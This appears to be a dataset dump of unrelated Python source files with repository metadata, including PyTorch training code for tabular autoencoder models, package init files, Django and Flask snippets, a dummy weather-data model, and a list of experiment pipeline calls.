isinstance(train, list) & isinstance(valid, list) & (len(train) == 2) & (len(valid) == 2) seed_everything(seed) x_train, y_train = train x_valid, y_valid = valid train_dataset = TabularDataset(x_train, y_train) valid_dataset = TabularDataset(x_valid, y_valid) trainloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True) validloader = torch.utils.data.DataLoader(valid_dataset, batch_size=batch_size, shuffle=False) model = model_nn( num_features=num_feature, hidden_size=hidden, ) model.to(device) optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay) scheduler = optim.lr_scheduler.OneCycleLR(optimizer=optimizer, max_lr=learning_rate*10, epochs=epochs, steps_per_epoch=len(trainloader)) criterion = nn.BCEWithLogitsLoss() early_step = 0 best_loss = np.inf best_auc = -np.inf for epoch in range(epochs): train_loss = train_fn(model, optimizer, scheduler, criterion, trainloader, device) valid_loss, valid_preds = valid_fn(model, criterion, validloader, device) valid_auc = roc_auc_score(y_valid, valid_preds) if verbose: print(f"EPOCH: {epoch}, train_loss: {train_loss:.4f}, valid_loss: {valid_loss:.4f}, valid_auc: {valid_auc:.5f}") if valid_auc > best_auc: best_auc = valid_auc best_pred = valid_preds if save: torch.save(model.state_dict(), f"FOLD_{fold}_.pth") elif(early_stop == True): early_step += 1 if (early_step >= early_stop_step): break return best_auc, best_pred ######################################################################################################### ######################################################################################################### ######################################################################################################### class Model_mlp_ae(nn.Module): """ https://www.kaggle.com/gogo827jz/jane-street-supervised-autoencoder-mlp?scriptVersionId=73762661 """ def __init__(self, num_features, hidden_size): super(Model_mlp_ae, self).__init__() self.num_features = num_features ae_num_features = int(num_features * 0.75) concat_num_features = ae_num_features + num_features half_size = int(hidden_size/2) self.scaled_input = nn.Sequential(nn.BatchNorm1d(num_features)) self.encoder = nn.Sequential( nn.BatchNorm1d(num_features), nn.Linear(num_features, ae_num_features), nn.GELU(), ) self.decoder = nn.Sequential( nn.Dropout(0.1), nn.Linear(ae_num_features, num_features), ) self.output_ae = nn.Sequential( nn.BatchNorm1d(num_features), nn.Dropout(0.1), nn.Linear(num_features, ae_num_features), nn.BatchNorm1d(ae_num_features), nn.Dropout(0.1), nn.Linear(ae_num_features, 1), ) self.concat_ae_input = nn.Sequential( nn.BatchNorm1d(concat_num_features), nn.Dropout(0.2), nn.Linear(concat_num_features, hidden_size * 2), nn.GELU() ) self.layer_1 = nn.Sequential( nn.BatchNorm1d(hidden_size * 2), nn.Dropout(0.2), nn.Linear(hidden_size * 2, hidden_size), nn.GELU(), ) self.layer_2 = nn.Sequential( nn.BatchNorm1d(hidden_size), nn.Dropout(0.1), nn.Linear(hidden_size, half_size), nn.GELU(), ) self.classifier = nn.Sequential( nn.BatchNorm1d(half_size), nn.Dropout(0.1), nn.Linear(half_size, 1) ) def forward(self, x): scaled_input = self.scaled_input(x) #gaussian noise gauss_noise = torch.empty(self.num_features).normal_(mean=0,std=0.05).to(scaled_input.device) encoder = scaled_input + gauss_noise encoder = self.encoder(encoder) decoder = self.decoder(encoder) output_sigmoid_ae = self.output_ae(decoder) concat = torch.cat((scaled_input, encoder), dim = -1) concat_layer = self.concat_ae_input(concat) layer_1 = self.layer_1(concat_layer) layer_2 = self.layer_2(layer_1) class_output = self.classifier(layer_2) return decoder, output_sigmoid_ae, class_output ######################################################################################################### ######################################################################################################### def run_training_ae(train, valid, fold, model_nn, num_feature, hidden, batch_size, epochs, seed, early_stop_step, early_stop, device, learning_rate, weight_decay, verbose= True, save = True): assert isinstance(train, list) & isinstance(valid, list) & (len(train) == 2) & (len(valid) == 2) seed_everything(seed) x_train, y_train = train x_valid, y_valid = valid train_dataset = TabularDataset(x_train, y_train) valid_dataset = TabularDataset(x_valid, y_valid) trainloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True) validloader = torch.utils.data.DataLoader(valid_dataset, batch_size=batch_size, shuffle=False) model = model_nn( num_features=num_feature, hidden_size=hidden, ) model.to(device) optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay) scheduler = optim.lr_scheduler.OneCycleLR(optimizer=optimizer, max_lr=learning_rate*10, epochs=epochs, steps_per_epoch=len(trainloader)) criterion = { 'bce': nn.BCEWithLogitsLoss(), 'mse': nn.MSELoss() } early_step = 0 best_loss = np.inf best_auc = -np.inf for epoch in range(epochs): train_loss = train_fn_ae(model, optimizer, scheduler, criterion, trainloader, device) valid_loss, valid_preds = valid_fn_ae(model, criterion, validloader, device) valid_auc = roc_auc_score(y_valid, valid_preds) if verbose: print(f"EPOCH: {epoch}, train_loss: {train_loss:.4f}, valid_loss: {valid_loss:.4f}, valid_auc: {valid_auc:.5f}") if valid_auc > best_auc: best_auc = valid_auc best_pred = valid_preds if save: torch.save(model.state_dict(), f"FOLD_{fold}_.pth") elif(early_stop == True): early_step += 1 if (early_step >= early_stop_step): break return best_auc, best_pred ######################################################################################################### ######################################################################################################### def train_fn_ae(model, optimizer, scheduler, criterion, dataloader, device): bce_criterion = criterion['bce'] mse_criterion = criterion['mse'] model.train() final_loss = 0 for data in dataloader: optimizer.zero_grad() inputs, targets = data['x'].to(device), data['y'].to(device).unsqueeze(1) decoder, output_sigmoid_ae, class_output = model(inputs) mse_loss = mse_criterion(decoder, inputs) bce_ae_loss = bce_criterion(output_sigmoid_ae, targets) bce_loss = bce_criterion(class_output, targets) loss = mse_loss + bce_ae_loss + bce_loss loss.backward() optimizer.step() scheduler.step() final_loss += bce_loss.item() final_loss /= len(dataloader) return final_loss def valid_fn_ae(model, criterion, dataloader, device): bce_criterion = criterion['bce'] model.eval() final_loss = 0 valid_preds = [] for data in dataloader: inputs, targets = data['x'].to(device), data['y'].to(device).unsqueeze(1) _, _, class_output = model(inputs) loss = bce_criterion(class_output, targets) final_loss += loss.item() valid_preds.append(class_output.sigmoid().detach().cpu().numpy()) final_loss /= len(dataloader) valid_preds = np.concatenate(valid_preds) return final_loss, valid_preds def inference_fn_ae(model, dataloader, device): model.eval() preds = [] for data in dataloader: inputs = data['x'].to(device) with torch.no_grad(): _, _, class_output = model(inputs) preds.append(class_output.sigmoid().detach().cpu().numpy()) preds = np.concatenate(preds) return preds ######################################################################################################### ######################################################################################################### class Model_list(nn.Module): def __init__(self, output_dims: List[int], dropout_list: List[float], num_features): super().__init__() layers: List[nn.Module] = [] input_dim: int = num_features for i, output_dim in enumerate(output_dims): layers.append(nn.BatchNorm1d(input_dim)) layers.append(nn.Linear(input_dim, output_dim)) layers.append(nn.GELU()) layers.append(nn.Dropout(dropout_list[i])) input_dim = output_dim layers.append(nn.BatchNorm1d(input_dim)) layers.append(nn.Linear(input_dim, 1)) self.layers: nn.Module = nn.Sequential(*layers) def forward(self, data: torch.Tensor) -> torch.Tensor: logits = self.layers(data) return logits def run_training_model_fix(train, valid, fold, model, batch_size, epochs, seed, early_stop_step, early_stop, device, learning_rate, weight_decay, verbose = True, save = True): assert isinstance(train, list) & isinstance(valid, list) & (len(train) == 2) & (len(valid) == 2) seed_everything(seed) x_train, y_train = train x_valid, y_valid = valid train_dataset = TabularDataset(x_train, y_train) valid_dataset = TabularDataset(x_valid, y_valid) trainloader = torch.utils.data.DataLoader(train_dataset, batch_size=batch_size, shuffle=True) validloader = torch.utils.data.DataLoader(valid_dataset, batch_size=batch_size, shuffle=False) model.to(device) optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=weight_decay) scheduler = optim.lr_scheduler.OneCycleLR(optimizer=optimizer, max_lr=learning_rate*10, epochs=epochs, steps_per_epoch=len(trainloader)) criterion = nn.BCEWithLogitsLoss() early_step = 0 best_loss = np.inf best_auc = -np.inf for epoch in range(epochs): train_loss = train_fn(model, optimizer, scheduler, criterion, trainloader, device) valid_loss, valid_preds = valid_fn(model, criterion, validloader, device) valid_auc = roc_auc_score(y_valid, valid_preds) if verbose: print(f"EPOCH: {epoch}, train_loss: {train_loss:.4f}, valid_loss: {valid_loss:.4f}, valid_auc: {valid_auc:.5f}") if valid_auc > best_auc: best_auc = valid_auc best_pred = valid_preds if save: torch.save(model.state_dict(), f"FOLD_{fold}_.pth") elif(early_stop == True): early_step += 1 if (early_step >= early_stop_step): break return best_auc, best_pred

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2806360eba3a03b55234d0a043444b148060f908

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py

Python

src/gimelstudio/corenodes/output/__init__.py

jmherbst/GimelStudio

c3d6718015a25129d43efdbead1babd9eea9e2ff

[ "Apache-2.0" ]

1

2021-06-15T22:30:39.000Z

src/gimelstudio/corenodes/output/__init__.py

yasuomaidana/GimelStudio

f6d0a03ae7bf0cb640100dd0f281d6d286e16006

[ "Apache-2.0" ]

null

src/gimelstudio/corenodes/output/__init__.py

yasuomaidana/GimelStudio

f6d0a03ae7bf0cb640100dd0f281d6d286e16006

[ "Apache-2.0" ]

null

from .output_node import OutputNode

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f9f96630726ffdcabf00176ee61dd48afaaae9be

40

py

Python

smcpy/__init__.py

omunroe-com/seqmontecarlosampwpython

d64cb1683a2d9954cb05544427af9c85f14f1c6e

[ "NASA-1.3" ]

null

smcpy/__init__.py

omunroe-com/seqmontecarlosampwpython

d64cb1683a2d9954cb05544427af9c85f14f1c6e

[ "NASA-1.3" ]

null

smcpy/__init__.py

omunroe-com/seqmontecarlosampwpython

d64cb1683a2d9954cb05544427af9c85f14f1c6e

[ "NASA-1.3" ]

null

from .smc.smc_sampler import SMCSampler

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e62cda81e2bbb2dd3a025c01b9a6264ded48f13d

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py

Python

mowgli_etl/model/benchmark_question_choice_analysis.py

tetherless-world/mowgli

28c19eba41e03e053ae4addff56a313d926e18d7

[ "MIT" ]

4

2021-01-15T15:36:23.000Z

2021-09-01T06:52:05.000Z

mowgli_etl/model/benchmark_question_choice_analysis.py

tetherless-world/mowgli

28c19eba41e03e053ae4addff56a313d926e18d7

[ "MIT" ]

63

2020-05-04T13:48:04.000Z

2020-06-06T02:32:58.000Z

mowgli_etl/model/benchmark_question_choice_analysis.py

tetherless-world/mowgli-etl

28c19eba41e03e053ae4addff56a313d926e18d7

[ "MIT" ]

null

from typing import NamedTuple, Tuple from mowgli_etl.model.benchmark_question_answer_paths import BenchmarkQuestionAnswerPaths class BenchmarkQuestionChoiceAnalysis(NamedTuple): choice_id: str question_answer_paths: Tuple[BenchmarkQuestionAnswerPaths, ...]

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05085b7f482c4094db4bdc24bd17b58829a8f8de

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py

Python

services/deployment-agent/src/simcore_service_deployment_agent/__init__.py

pcrespov/osparc-ops

87f6198759310288a465ff1f0705c3b6dd9c0873

[ "MIT" ]

null

services/deployment-agent/src/simcore_service_deployment_agent/__init__.py

pcrespov/osparc-ops

87f6198759310288a465ff1f0705c3b6dd9c0873

[ "MIT" ]

null

services/deployment-agent/src/simcore_service_deployment_agent/__init__.py

pcrespov/osparc-ops

87f6198759310288a465ff1f0705c3b6dd9c0873

[ "MIT" ]

null

""" Python package for the simcore_service_deployment_agent. """ from .__version__ import __version__ from .cli import main

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5

053400dcdbfebcbcdcc7ecb83d66d9f770978018

186

py

Python

base/filters.py

xuweixw/CeNDR

7023e2ca7f66068558056be4243b86cfb0499c92

[ "MIT" ]

2

2019-11-04T19:36:42.000Z

2021-09-13T17:18:26.000Z

base/filters.py

xuweixw/CeNDR

7023e2ca7f66068558056be4243b86cfb0499c92

[ "MIT" ]

76

2016-11-18T03:28:35.000Z

2021-07-08T16:33:09.000Z

base/filters.py

xuweixw/CeNDR

7023e2ca7f66068558056be4243b86cfb0499c92

[ "MIT" ]

8

2017-03-15T16:59:36.000Z

2021-07-06T01:36:40.000Z

from datetime import datetime def comma(value): return "{:,.0f}".format(value) def format_release(value): return datetime.strptime(str(value), '%Y%m%d').strftime('%Y-%m-%d')

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38

py

Python

src/nlp_datasets/machine_translation/__init__.py

TeaKatz/NLP_Datasets

6eeacd0d120ce8d7d1e3da2b40af94006ee1cdf6

[ "MIT" ]

null

src/nlp_datasets/machine_translation/__init__.py

TeaKatz/NLP_Datasets

6eeacd0d120ce8d7d1e3da2b40af94006ee1cdf6

[ "MIT" ]

null

src/nlp_datasets/machine_translation/__init__.py

TeaKatz/NLP_Datasets

6eeacd0d120ce8d7d1e3da2b40af94006ee1cdf6

[ "MIT" ]

null

from .SCBMTDataset import SCBMTDataset

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5525f7ac0dfcd1dc706c96f372c20400853418a8

244

py

Python

tools/__init__.py

johnsbuck/game_track_app

15f45fc0b338a0c48cadf427d39f10dd5ae6c0bc

[ "MIT" ]

null

tools/__init__.py

johnsbuck/game_track_app

15f45fc0b338a0c48cadf427d39f10dd5ae6c0bc

[ "MIT" ]

null

tools/__init__.py

johnsbuck/game_track_app

15f45fc0b338a0c48cadf427d39f10dd5ae6c0bc

[ "MIT" ]

null

from .game_csv_import import GameDataImporter from .event_csv_import import EventDataImporter from .recommendation_csv_import import RecommendationDataImporter __all__ = ["GameDataImporter", "EventDataImporter", "RecommendationDataImporter"]

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5

554160f6ecad2446368d37b06c0dfa2ac36554a0

138

py

Python

trydjango/restaurants/admin.py

matija94/show-me-the-code

7e98b15da03712e28417f2c808c4324989ce9bd7

[ "MIT" ]

1

2017-07-10T21:05:46.000Z

trydjango/restaurants/admin.py

matija94/show-me-the-code

7e98b15da03712e28417f2c808c4324989ce9bd7

[ "MIT" ]

null

trydjango/restaurants/admin.py

matija94/show-me-the-code

7e98b15da03712e28417f2c808c4324989ce9bd7

[ "MIT" ]

null

from django.contrib import admin # Register your models here. from restaurants.models import Restaurant admin.site.register(Restaurant)

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5

55555fb33a07ec73044aabd1b595edeb7bcaf664

197

py

Python

bin/iamonds/one-sided-polyiamonds-12345-hexagon-2.py

tiwo/puzzler

7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e

[ "Intel" ]

null

bin/iamonds/one-sided-polyiamonds-12345-hexagon-2.py

tiwo/puzzler

7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e

[ "Intel" ]

null

bin/iamonds/one-sided-polyiamonds-12345-hexagon-2.py

tiwo/puzzler

7ad3d9a792f0635f7ec59ffa85fb46b54fd77a7e

[ "Intel" ]

1

2022-01-02T16:54:14.000Z

#!/usr/bin/env python # $Id$ """6,407,224 solutions""" import puzzler from puzzler.puzzles.polyiamonds12345 import OneSidedPolyiamonds12345Hexagon2 puzzler.run(OneSidedPolyiamonds12345Hexagon2)

19.7

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5

e9487499ddd7bfabaae0eb9040f298e75d3ab801

47

py

Python

example/boot.py

selfhostedhome/micropython-debounce-switch

fc11add1c758b8dfa19c8e26b95b06aab8f632e8

[ "MIT" ]

7

2018-07-24T17:38:30.000Z

2021-05-30T18:34:17.000Z

example/boot.py

selfhostedhome/micropython-debounce-switch

fc11add1c758b8dfa19c8e26b95b06aab8f632e8

[ "MIT" ]

null

example/boot.py

selfhostedhome/micropython-debounce-switch

fc11add1c758b8dfa19c8e26b95b06aab8f632e8

[ "MIT" ]

5

2018-07-24T17:03:39.000Z

2020-10-16T11:22:41.000Z

# Nothing to do for boot print("Starting...")

11.75

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null

0

1

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1

0

5

e9b6cd9213651a49f2ebb7b22d0a0339a463271a

175

py

Python

pdfreader/admin.py

vishalagrawal22/JEEMainsMarksCalculator

4de5c1c510abc19b78fd02532298957e9d243e02

[ "MIT" ]

2

2020-12-04T18:36:29.000Z

2021-03-13T15:21:31.000Z

pdfreader/admin.py

vishalagrawal22/JEEMainsMarksCalculator

4de5c1c510abc19b78fd02532298957e9d243e02

[ "MIT" ]

null

pdfreader/admin.py

vishalagrawal22/JEEMainsMarksCalculator

4de5c1c510abc19b78fd02532298957e9d243e02

[ "MIT" ]

null

from django.contrib import admin from .models import MCQQuestion , SAQuestion # Register your models here. admin.site.register(MCQQuestion) admin.site.register(SAQuestion)

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1

0

1

0

null

0

1

0

1

0

5

7572006e38ddd7b58238dd2cee928e70acb14306

185

py

Python

apiql/grammar/__init__.py

akarazniewicz/apiql

3175d9c301a5b6c8d76e133fd4a18f9a6280d76e

[ "MIT" ]

null

apiql/grammar/__init__.py

akarazniewicz/apiql

3175d9c301a5b6c8d76e133fd4a18f9a6280d76e

[ "MIT" ]

null

apiql/grammar/__init__.py

akarazniewicz/apiql

3175d9c301a5b6c8d76e133fd4a18f9a6280d76e

[ "MIT" ]

null

from .ApiQLVisitor import ApiQLVisitor from .ApiQLParser import ApiQLParser from .ApiQLLexer import ApiQLLexer from .transformer import ApiQLASTTransformerVisitor, default_deserializer

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73

0.881081

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185

9

0.5

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0.091892

185

4

74

46.25

0.964286

0

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0

true

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1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

757bce824f17702585a3e5a981f01afd1f99e192

577

py

Python

src/safe/cmd/__init__.py

decafjoe/safe

12fec41e8b82fe5170ebb0e39ca7eb211f1d88b8

[ "BSD-3-Clause" ]

null

src/safe/cmd/__init__.py

decafjoe/safe

12fec41e8b82fe5170ebb0e39ca7eb211f1d88b8

[ "BSD-3-Clause" ]

null

src/safe/cmd/__init__.py

decafjoe/safe

12fec41e8b82fe5170ebb0e39ca7eb211f1d88b8

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- """ Subpackage containing the commands for the application. :author: Joe Joyce <joe@decafjoe.com> :copyright: Copyright (c) Joe Joyce and contributors, 2016-2019. :license: BSD """ import safe.cmd.copy import safe.cmd.drop.account import safe.cmd.drop.policy import safe.cmd.gen.bare import safe.cmd.gen.per_policy import safe.cmd.init import safe.cmd.ipy import safe.cmd.list import safe.cmd.new.account import safe.cmd.new.policy import safe.cmd.print_ import safe.cmd.shell import safe.cmd.update.account import safe.cmd.update.policy # noqa: F401

25.086957

64

0.774697

94

577

4.734043

0.43617

0.314607

0.408989

0.134831

0

0.023256

0.105719

577

22

65

26.227273

0.839147

0.358752

0

1

0

true

0

1

0

1

0.071429

0

null

1

0

null

0

1

0

1

0

1

0

5

75883c5d065632e72fe1120ae6142ed571326a42

169

py

Python

server/config.py

Jswig/lahacks

b7892a5afbf90e764190029b35689afadddf4f98

[ "MIT" ]

2

2020-03-29T17:46:09.000Z

2020-07-29T01:58:35.000Z

server/config.py

Jswig/lahacks

b7892a5afbf90e764190029b35689afadddf4f98

[ "MIT" ]

null

server/config.py

Jswig/lahacks

b7892a5afbf90e764190029b35689afadddf4f98

[ "MIT" ]

3

2020-03-28T18:15:19.000Z

2020-11-13T01:51:31.000Z

class BaseConfig: SECRET_KEY = None class DevelopmentConfig(BaseConfig): FLASK_ENV="development" class ProductionConfig(BaseConfig): FLASK_ENV="production"

21.125

36

0.775148

17

169

7.529412

0.647059

0.234375

0.28125

0

0.142012

169

8

37

21.125

0.882759

0

0.123529

0

1

0

false

0

1

0

1

0

null

1

0

1

0

null

0

1

0

5

759e92e05253f599c8ce958c486ace4582f56365

38

py

Python

src/apps/example-app/main.py

Khhs167/openstore

53011660d422adf6401437938288dab3fbb3f3fe

[ "MIT" ]

null

src/apps/example-app/main.py

Khhs167/openstore

53011660d422adf6401437938288dab3fbb3f3fe

[ "MIT" ]

1

2021-02-08T06:13:13.000Z

src/apps/example-app/main.py

Khhs167/openstore

53011660d422adf6401437938288dab3fbb3f3fe

[ "MIT" ]

null

print(open("message.txt", "r").read())

38

0.631579

6

38

4

1

0

0.026316

38

1

38

0.648649

0

0.307692

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

5

75df6c31cac37287cc49fbd5f1871d77fcca48b4

125

py

Python

demo/mpi-ref-v1/ex-3.03.py

gmdzy2010/mpi4py

7f7a94760194e11ba72f8af2f49b7d1b37bd9343

[ "BSD-2-Clause" ]

533

2015-03-02T05:16:27.000Z

2022-03-28T09:44:37.000Z

demo/mpi-ref-v1/ex-3.03.py

gmdzy2010/mpi4py

7f7a94760194e11ba72f8af2f49b7d1b37bd9343

[ "BSD-2-Clause" ]

105

2017-09-17T07:50:33.000Z

2022-03-29T17:27:43.000Z

demo/mpi-ref-v1/ex-3.03.py

gmdzy2010/mpi4py

7f7a94760194e11ba72f8af2f49b7d1b37bd9343

[ "BSD-2-Clause" ]

98

2015-02-03T03:17:52.000Z

2022-03-23T02:03:11.000Z

execfile('ex-3.02.py') assert dtype.size == MPI.DOUBLE.size + MPI.CHAR.size assert dtype.extent >= dtype.size dtype.Free()

17.857143

52

0.712

21

125

4.238095

0.619048

0.247191

0

0.027027

0.112

125

6

53

20.833333

0.774775

0

0.08

0

0.5

1

0

true

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

75f57eb833bb2daff76f89cc508e5ec037669a21

5,319

py

Python

Models/PowerPlantsLoad/dummy_data/weather/model.py

schmocker/Pyjamas

52a72d6e8b915f77a2194d4e7d53c46d0ec28c17

[ "MIT" ]

2

2018-05-31T15:02:08.000Z

2018-07-11T11:02:44.000Z

Models/PowerPlantsLoad/dummy_data/weather/model.py

schmocker/Pyjamas

52a72d6e8b915f77a2194d4e7d53c46d0ec28c17

[ "MIT" ]

null

Models/PowerPlantsLoad/dummy_data/weather/model.py

schmocker/Pyjamas

52a72d6e8b915f77a2194d4e7d53c46d0ec28c17

[ "MIT" ]

null

from pyjamas_core import Supermodel from pyjamas_core.util import Input, Output, Property import numpy as np # define the model class and inherit from class "Supermodel" class Model(Supermodel): # model constructor def __init__(self, id, name: str): # instantiate supermodel super(Model, self).__init__(id, name) # define outputs self.outputs['weather'] = Output('WeatherData') # define persistent variables self.weather = None async def func_birth(self): # Temporary dummy data for testing purpose, Will be replaced by the data coming from the database # WeatherData: Dictionary holding Power plant IDs(KWIDs) and weather data for all types of power plants # ---------------------------------------------- # id windspeed radiation windmesshoehe # ---------------------------------------------- # 1(WT) array(96) None 50 # 2(PV) None array(96) None # 3(WT) array(96) None 45 # 4(PV) None array(96) None # 5(WT) array(96) None 80 # 6(PV) None array(96) None # 8 None None None # 10 None None None # 11 None None None ws1=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 ,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 ,25,56,7,8,96,10,10,20,23,24,25,56,7,8,96,10,10,20,23,24,25,56,7,8,96,10,10,20,23,24,25,56] ra2=[0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,2.06780,4.54916,30.1898,47.5594,104.630,153.430,202.23,257.234,228.285,365.587,411.905,465.255 ,517.363,562.028,604.211,653.838,715.872,737.377,770.875,813.058,836.631,862.272,873.438,899.493 ,915.208,923.065,931.750,923.065,916.035,914.794,897.011,877.987,834.150,826.292,819.262,791.553 ,657.146,726.624,636.055,528.116,603.384,546.312,511.160,468.977,417.282,366.000,312.651,262.610 ,219.186,176.176,135.647,93.8781,64.5153,43.4238,38.0475,26.0542,14.4746,10.3390,4.13560,2.89492 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.000000,0.00000,0.00000,0.00000,0.00000,0.00000] ws3=[30,11,2,3,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11 ,2,3,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11,2,3 ,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11,2,3,4,5,6,7,8,96,20,11,2,3,4,5] ra4=[0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,2.06780,4.54916,30.1898,47.5594,104.630,153.430,202.23,257.234,228.285,365.587,411.905,465.255 ,517.363,562.028,604.211,653.838,715.872,737.377,770.875,813.058,836.631,862.272,873.438,899.493 ,915.208,923.065,931.750,923.065,916.035,914.794,897.011,877.987,834.150,826.292,819.262,791.553 ,657.146,726.624,636.055,528.116,603.384,546.312,511.160,468.977,417.282,366.000,312.651,262.610 ,219.186,176.176,135.647,93.8781,64.5153,43.4238,38.0475,26.0542,14.4746,10.3390,4.13560,2.89492 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.000000,0.00000,0.00000,0.00000,0.00000,0.00000] ws5=[50,11,2,3,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11 ,2,3,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11,2,3 ,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11,2,3,4,5,6,7,8,96,50,11,2,3,4,5] ra6=[0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.00000,0.00000,0.00000,0.00000,0.00000,0.00000 ,2.06780,4.54916,30.1898,47.5594,104.630,153.430,202.23,257.234,228.285,365.587,411.905,465.255 ,517.363,562.028,604.211,653.838,715.872,737.377,770.875,813.058,836.631,862.272,873.438,899.493 ,915.208,923.065,931.750,923.065,916.035,914.794,897.011,877.987,834.150,826.292,819.262,791.553 ,657.146,726.624,636.055,528.116,603.384,546.312,511.160,468.977,417.282,366.000,312.651,262.610 ,219.186,176.176,135.647,93.8781,64.5153,43.4238,38.0475,26.0542,14.4746,10.3390,4.13560,2.89492 ,0.00000,0.00000,0.00000,0.00000,0.00000,0.0000,0.000000,0.00000,0.00000,0.00000,0.00000,0.00000] self.WeatherData = {'id': [1, 2, 3, 4, 5, 6, 8 ,10 ,11], 'windspeed': [ws1, None, ws3, None, ws5, None, None, None, None], 'radiation': [None, ra2, None, ra4, None, ra6, None, None, None], 'windmesshoehe': [50, None, 45, None, 80, None, None, None, None] } async def func_peri(self, prep_to_peri=None): # set output self.set_output("weather", self.WeatherData)

62.576471

111

0.580936

1,076

5,319

2.857807

0.20539

0.187317

0.204878

0.316098

0.712846

0.69626

0.694309

0

0.521006

0.207934

5,319

84

112

63.321429

0.208877

0.162437

0

0.428571

0

0.013096

0

1

0.020408

false

0

0.061224

0

0.102041

0

null

0

1

0

1

0

1

0

1

0

null

0

5

75fcdcbcfdbe00b4e217bea2b44166568f372d08

4,512

py

Python

understanding_clouds_proj2.py

statsu1990/kaggle_understanding_clouds

756c8271855d232167a76bd25f8bb81e7505a422

[ "MIT" ]

null

understanding_clouds_proj2.py

statsu1990/kaggle_understanding_clouds

756c8271855d232167a76bd25f8bb81e7505a422

[ "MIT" ]

6

2020-01-28T23:08:31.000Z

2022-02-10T00:24:01.000Z

understanding_clouds_proj2.py

statsu1990/kaggle_understanding_clouds

756c8271855d232167a76bd25f8bb81e7505a422

[ "MIT" ]

null

from trial import cloud_segmentation_with_utility_scripts_and_keras1 from trial2 import pipeline_seg from script.my_util import save_train_val_test_images #cloud_segmentation_with_utility_scripts_and_keras1.run() #cloud_segmentation_with_utility_scripts_and_keras1.run0_1() #cloud_segmentation_with_utility_scripts_and_keras1.run2() #cloud_segmentation_with_utility_scripts_and_keras1.run19110601() #cloud_segmentation_with_utility_scripts_and_keras1.run19110602() #cloud_segmentation_with_utility_scripts_and_keras1.run19110603() #cloud_segmentation_with_utility_scripts_and_keras1.run19110701() #cloud_segmentation_with_utility_scripts_and_keras1.run19110701_test() #cloud_segmentation_with_utility_scripts_and_keras1.run19110702() #cloud_segmentation_with_utility_scripts_and_keras1.run19110703() #cloud_segmentation_with_utility_scripts_and_keras1.run19110704() #cloud_segmentation_with_utility_scripts_and_keras1.run19110705() #cloud_segmentation_with_utility_scripts_and_keras1.run19110706() #cloud_segmentation_with_utility_scripts_and_keras1.run19110707() #cloud_segmentation_with_utility_scripts_and_keras1.run19110708() #pipeline_seg.pipeline19110701() #pipeline_seg.pipeline19110801() #pipeline_seg.pipeline19110803() #pipeline_seg.pipeline19110802() #pipeline_seg.pipeline19110803test() #pipeline_seg.pipeline19110804() #pipeline_seg.pipeline19110805() #pipeline_seg.pipeline19110806() #pipeline_seg.pipeline19110807() #pipeline_seg.pipeline19110808() #pipeline_seg.pipeline19110805test() #pipeline_seg.pipeline19110805() #pipeline_seg.pipeline19110901() #pipeline_seg.pipeline19110901test() #pipeline_seg.pipeline19110902() #pipeline_seg.pipeline19110902test() #pipeline_seg.pipeline19110903() #pipeline_seg.pipeline19110904() #pipeline_seg.pipeline19110905() #pipeline_seg.pipeline19111001() #pipeline_seg.pipeline19111002() #pipeline_seg.pipeline19111003() #pipeline_seg.pipeline19111004() #pipeline_seg.pipeline19111005() #pipeline_seg.pipeline19111006() #pipeline_seg.pipeline19111007() #pipeline_seg.pipeline19111101() #pipeline_seg.pipeline19111102() #pipeline_seg.pipeline19111103() #pipeline_seg.pipeline19111103test() #pipeline_seg.pipeline19111104() #pipeline_seg.pipeline19111108() #pipeline_seg.pipeline19111201() #pipeline_seg.pipeline19111202() #pipeline_seg.pipeline19111203() #pipeline_seg.pipeline19111203test() #pipeline_seg.pipeline19111203test2() #pipeline_seg.pipeline19111204() #pipeline_seg.pipeline19111205() #pipeline_seg.pipeline19111206() #pipeline_seg.pipeline19111207() #pipeline_seg.pipeline19111208() #pipeline_seg.pipeline19111301() #pipeline_seg.pipeline19111302() #pipeline_seg.pipeline19111303() #pipeline_seg.pipeline19111304() #pipeline_seg.pipeline19111305() #pipeline_seg.pipeline19111306() #pipeline_seg.pipeline19111307() #pipeline_seg.pipeline19111308() #pipeline_seg.pipeline19111401() #pipeline_seg.pipeline19111402() #pipeline_seg.pipeline19111403() #pipeline_seg.pipeline19111404() #pipeline_seg.pipeline19111405() #pipeline_seg.pipeline19111406() #pipeline_seg.pipeline19111407() #pipeline_seg.pipeline19111408() #pipeline_seg.pipeline19111409() 